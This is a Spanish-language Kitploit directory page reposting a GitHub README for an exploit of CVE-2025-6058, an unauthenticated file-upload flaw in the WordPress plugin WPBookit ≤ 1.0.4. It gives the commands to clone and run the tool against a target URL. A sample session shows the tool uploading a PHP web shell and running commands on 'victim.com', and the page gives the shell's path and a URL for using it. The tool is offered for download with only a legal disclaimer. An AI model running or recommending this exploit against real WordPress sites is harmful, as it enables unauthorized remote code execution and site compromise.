Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Exploit de subida de archivos sin autenticación | Kitploit
Herramientas/GitHubGitHub/0xgh057r3c0n/cve-2025-6058
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHub0xgh057r3c0n/cve-2025-6058

CVE-2025-6058

WordPress WPBookit ≤ 1.0.4 Exploit de subida de archivos sin autenticación

Ver Repositorio
12hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Logotipo de WordPress

🚨 CVE-2025-6058 — Exploit de Carga de Archivos No Autenticado en WordPress WPBookit ≤ 1.0.4

Exploit de Carga Arbitraria de Archivos No Autenticado dirigido al Plugin WPBookit de WordPress (≤ 1.0.4)
El exploit permite la carga remota de shell y la ejecución completa de comandos.

Autor: 0xgh057r3c0n

📌 Acerca de la Vulnerabilidad

CVE-2025-6058 es una vulnerabilidad crítica que afecta al plugin WPBookit en WordPress CMS. Un atacante no autenticado puede abusar de un endpoint AJAX vulnerable para cargar archivos PHP arbitrarios, permitiendo .

Ejecución Remota de Código (RCE)
  • 🎯 Objetivo: WordPress CMS (plugin WPBookit vulnerable)
  • 📦 Plugin Afectado: WPBookit ≤ 1.0.4
  • ⚠️ Nivel de Riesgo: Crítico (RCE no autenticado)

✨ Características

  • 🔍 Detecta automáticamente la versión del plugin de WordPress mediante README.txt
  • 📤 Carga una shell PHP ligera (ghost_shell.php)
  • 🖥️ Shell interactiva (prompt estilo Parrot)
  • 🌐 No autenticado — No requiere inicio de sesión
  • 🎨 Salida CLI coloreada

🚀 Guía de Uso

💻 Requisitos

root@kitploit:~
python3 --version
pip install requests

⚙️ Ejecución del Exploit

root@kitploit:~
git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com

🛠️ Ejemplo de Sesión de Shell

root@kitploit:~
python3 CVE-2025-6058.py -u https://victim.com

[>] Checking plugin version...
[+] Found plugin version: 1.0.4
[!] Target version is vulnerable.

[>] Uploading shell...
[+] Upload successful.
[+] Shell URL: https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

[!] Interactive GhostShell Started — type 'exit' to quit.

┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data

📂 Detalles de la Shell

  • Nombre del Archivo: ghost_shell.php
  • Ruta: /wp-content/uploads/YYYY/MM/ghost_shell.php
  • Ejemplo:
root@kitploit:~
https://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

⚠️ Aviso Legal

Este exploit ha sido desarrollado con fines educativos y únicamente para pruebas de penetración autorizadas. El uso no autorizado contra sistemas sin consentimiento explícito es ilegal.

📄 Licencia

Publicado bajo Licencia MIT

Hecho para auditoría de seguridad de WordPress 🛡️ por 0xgh057r3c0n

Descargar herramienta